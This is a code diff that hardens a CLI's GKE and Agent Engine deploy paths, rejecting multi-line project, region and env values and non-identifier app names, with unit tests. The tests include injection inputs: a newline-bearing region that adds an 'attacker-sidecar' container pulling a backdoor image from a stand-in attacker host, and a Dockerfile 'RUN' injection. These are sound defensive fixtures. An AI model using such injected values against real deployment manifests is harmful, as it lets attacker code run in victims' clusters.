fix(cli): reject multi-line project/region before they reach the GKE manifest

src/google/adk/cli/cli_deploy.py

@@ -505,22 +505,62 @@ def _resolve_project(project_in_option: Optional[str]) -> str:
   return project
 
 
-def _validate_dockerfile_env_value(name: str, value: Optional[str]) -> None:
-  """Validates a value before it is written into a Dockerfile ENV instruction.
+# app_name is interpolated verbatim into the generated Dockerfile (COPY/RUN
+# instructions and the shell-form CMD) by _DOCKERFILE_TEMPLATE. It defaults to
+# the basename of the agent source folder, so its value can come from a
+# directory name the deploying developer did not choose (a cloned or shared
+# agent template). Restrict it to a plain identifier before it reaches the
+# template so it cannot break out of a Dockerfile instruction or the CMD shell.
+_APP_NAME_PATTERN: Final[re.Pattern[str]] = re.compile(
+    r'^[A-Za-z0-9_-][A-Za-z0-9_.-]{0,62}$'
+)
+
+
+def _validate_app_name(app_name: str) -> None:
+  """Validates the deploy app name before it is written into a Dockerfile.
+
+  Args:
+    app_name: The app name, either passed via --app_name or derived from the
+      agent source folder basename.
+
+  Raises:
+    click.ClickException: If the app name is not a plain identifier.
+  """
+  if not _APP_NAME_PATTERN.fullmatch(app_name):
+    raise click.ClickException(
+        f'Invalid app name {app_name!r}. The app name is used in the generated'
+        ' Dockerfile and must contain only letters, digits, hyphens,'
+        ' underscores, and periods (1-63 characters, starting with a letter,'
+        ' digit, hyphen, or underscore).'
+    )
+
+
+def _validate_no_newlines(name: str, value: Optional[str]) -> None:
+  """Validates a value before it is written into a generated Dockerfile or
+  Kubernetes manifest.
+
+  Both formats are line-based: a Dockerfile's ENV instruction and a
+  Kubernetes manifest's YAML both derive meaning from where one line ends
+  and the next begins, so a newline embedded in an otherwise-single-value
+  field lets it terminate that line early and contribute new,
+  attacker-controlled lines of its own -- an extra Dockerfile
+  instruction, or extra YAML structure (a sibling container, altered
+  security context, etc.) applied to the same resource.
 
   Args:
-    name: The environment variable name, used in the error message. The value
-      itself is never echoed, because it can come from the agent folder's `.env`
-      file.
+    name: The environment variable or field name, used in the error
+      message. The value itself is never echoed, because it can come from
+      the agent folder's `.env` file.
     value: The value to write.
 
   Raises:
     click.ClickException: If the value spans more than one line.
   """
   if value is not None and ('\n' in value or '\r' in value):
     raise click.ClickException(
-        f'Invalid value for {name}. The value is written into the generated'
-        ' Dockerfile and must not span multiple lines.'
+        f'Invalid value for {name}. The value is written into a generated'
+        ' Dockerfile or Kubernetes manifest and must not span multiple'
+        ' lines.'
     )
 
 
@@ -1340,11 +1380,9 @@ def to_agent_engine(
 
     # Validated before the instance is created, so a failure cannot leak one.
     enterprise_val = env_vars.get('GOOGLE_GENAI_USE_ENTERPRISE', '1')
-    _validate_dockerfile_env_value(
-        'GOOGLE_GENAI_USE_ENTERPRISE', enterprise_val
-    )
-    _validate_dockerfile_env_value('GOOGLE_CLOUD_PROJECT', project)
-    _validate_dockerfile_env_value('GOOGLE_CLOUD_LOCATION', region)
+    _validate_no_newlines('GOOGLE_GENAI_USE_ENTERPRISE', enterprise_val)
+    _validate_no_newlines('GOOGLE_CLOUD_PROJECT', project)
+    _validate_no_newlines('GOOGLE_CLOUD_LOCATION', region)
 
     def create_dockerfile_for_agent_engine(resource_name: str) -> None:
       requirements_txt_path = os.path.join(agent_src_path, 'requirements.txt')
@@ -1536,6 +1574,10 @@ def to_gke(
   click.echo('--------------------------------------------------')
   # Resolve project early to show the user which one is being used
   project = _resolve_project(project)
+  # Validated before display, so a malformed value is never echoed or
+  # written into the generated Kubernetes manifest.
+  _validate_no_newlines('project', project)
+  _validate_no_newlines('region', region)
   click.echo(f'  Project:         {project}')
   click.echo(f'  Region:          {region}')
   click.echo(f'  Cluster:         {cluster_name}')

tests/unittests/cli/utils/test_cli_deploy.py

@@ -500,6 +500,68 @@ def mock_subprocess_run(*args, **kwargs):
   assert str(rmtree_recorder.get_last_call_args()[0]) == str(tmp_path)
 
 
+@pytest.mark.parametrize("field", ["project", "region"])
+def test_to_gke_rejects_multiline_project_or_region(
+    monkeypatch: pytest.MonkeyPatch,
+    agent_dir: Callable[[bool, bool], Path],
+    tmp_path: Path,
+    field: str,
+) -> None:
+  """A newline in project or region must not reach the Kubernetes manifest.
+
+  Both values are interpolated directly into deployment.yaml's env entries
+  (f'value: "{project}"' / f'value: "{region}"'), with no YAML escaping.
+  An embedded newline breaks out of that quoted scalar and is interpreted
+  as new YAML structure -- with the right indentation, an entirely new,
+  attacker-controlled sibling container in the same pod spec, applied to
+  the cluster by the kubectl apply this function runs. This must be
+  rejected before deployment.yaml is ever written, let alone applied.
+  """
+  src_dir = agent_dir(False, False)
+  run_recorder = _Recorder()
+
+  def mock_subprocess_run(*args, **kwargs):
+    run_recorder(*args, **kwargs)
+    command_list = args[0]
+    if command_list and command_list[0:2] == ["kubectl", "apply"]:
+      fake_stdout = "deployment.apps/gke-svc created\nservice/gke-svc created"
+      return types.SimpleNamespace(stdout=fake_stdout)
+    return None
+
+  monkeypatch.setattr(subprocess, "run", mock_subprocess_run)
+  monkeypatch.setattr(shutil, "rmtree", _Recorder())
+
+  malicious_value = (
+      'us-central1"\n'
+      '      - name: attacker-sidecar\n'
+      '        image: attacker.example.com/backdoor:latest\n'
+  )
+  kwargs = dict(
+      agent_folder=str(src_dir),
+      project="gke-proj",
+      region="us-east1",
+      cluster_name="my-gke-cluster",
+      service_name="gke-svc",
+      app_name="agent",
+      temp_folder=str(tmp_path),
+      port=9090,
+      trace_to_cloud=False,
+      otel_to_cloud=False,
+      with_ui=True,
+      log_level="debug",
+      adk_version="1.2.0",
+  )
+  kwargs[field] = malicious_value
+
+  with pytest.raises(click.ClickException):
+    cli_deploy.to_gke(**kwargs)
+
+  # Rejected before any subprocess (gcloud build, kubectl apply) ran, and
+  # before deployment.yaml was written -- not merely before it was applied.
+  assert run_recorder.calls == []
+  assert not (tmp_path / "deployment.yaml").exists()
+
+
 def test_to_gke_without_region_omits_location(
     monkeypatch: pytest.MonkeyPatch,
     agent_dir: Callable[[bool, bool], Path],
@@ -2131,11 +2193,11 @@ def mock_rmtree(path: Any, *args: Any, **kwargs: Any) -> None:
 @pytest.mark.parametrize(
     "value", ["1", "true", "us-central1", "example.com:my-project", "", None]
 )
-def test_validate_dockerfile_env_value_accepts_single_line_values(
+def test_validate_no_newlines_accepts_single_line_values(
     value: Any,
 ) -> None:
   """Ordinary values, including domain-scoped project ids, are accepted."""
-  cli_deploy._validate_dockerfile_env_value("GOOGLE_CLOUD_PROJECT", value)
+  cli_deploy._validate_no_newlines("GOOGLE_CLOUD_PROJECT", value)
 
 
 @pytest.mark.parametrize(
@@ -2147,12 +2209,12 @@ def test_validate_dockerfile_env_value_accepts_single_line_values(
         "\nRUN touch /tmp/pwned",
     ],
 )
-def test_validate_dockerfile_env_value_rejects_multiline_values(
+def test_validate_no_newlines_rejects_multiline_values(
     value: str,
 ) -> None:
   """A value spanning more than one line is rejected by name, not by value."""
   with pytest.raises(click.ClickException) as exc_info:
-    cli_deploy._validate_dockerfile_env_value("GOOGLE_CLOUD_LOCATION", value)
+    cli_deploy._validate_no_newlines("GOOGLE_CLOUD_LOCATION", value)
   assert "GOOGLE_CLOUD_LOCATION" in str(exc_info.value)
   assert "RUN touch" not in str(exc_info.value)